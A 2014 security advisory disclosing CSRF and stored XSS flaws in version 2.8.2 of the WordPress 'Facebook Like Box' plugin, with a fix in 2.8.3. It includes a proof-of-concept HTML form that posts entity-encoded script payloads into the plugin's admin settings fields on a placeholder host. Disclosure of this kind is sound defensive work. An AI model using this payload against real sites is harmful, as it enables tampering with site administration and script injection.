Title: WordPress 'Facebook Like Box' plugin - CSRF/XSS
Version: 2.8.2
Reported by: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej
Date: 2014/12/12
Download: https://wordpress.org/plugins/cardoza-facebook-like-box/
Notified WordPress: 2014/11/27
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## Description: 
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Facebook Like Box is a social plugin that enables Facebook Page owners to attract and gain Likes from their own website.

## CSRF:
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It is possible to change the plugins admin settings by tricking a logged in admin to visit a crafted page. 


## Stored XSS:
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Settings data from the admin page is stored unsanitized and echo'ed on the plugin's admin page. This allows an attacker to perform XSS through these fields. 


PoC:
Log in to a vulnerable site and press submit on this form: 

<form method="POST" action="http://vuln.site/wp-admin/admin.php?page=slug_for_fb_like_box"> 
   <input type="text" name="frm_title" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(1);&#x3C;/script&#x3E;"><br />
  <input type="text" name="frm_url" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(2);&#x3C;/script&#x3E;"><br />
  <input type="text" name="frm_border_color" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(3);&#x3C;/script&#x3E;"><br />
  <input type="text" name="frm_width" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(4);&#x3C;/script&#x3E;"><br />  
  <input type="text" name="frm_height" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(5);&#x3C;/script&#x3E;"><br />  
  <input type="text" name="frm_color_scheme" value="light"><br />
  <input type="text" name="frm_show_faces" value="true"><br />
  <input type="text" name="frm_stream" value="true"><br />
  <input type="text" name="frm_header" value="true"><br />
  <input type="text" name="frm_submit" value="Save"><br />
  <input type="submit">
</form>


## Solution
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You should upgrade to version 2.8.3.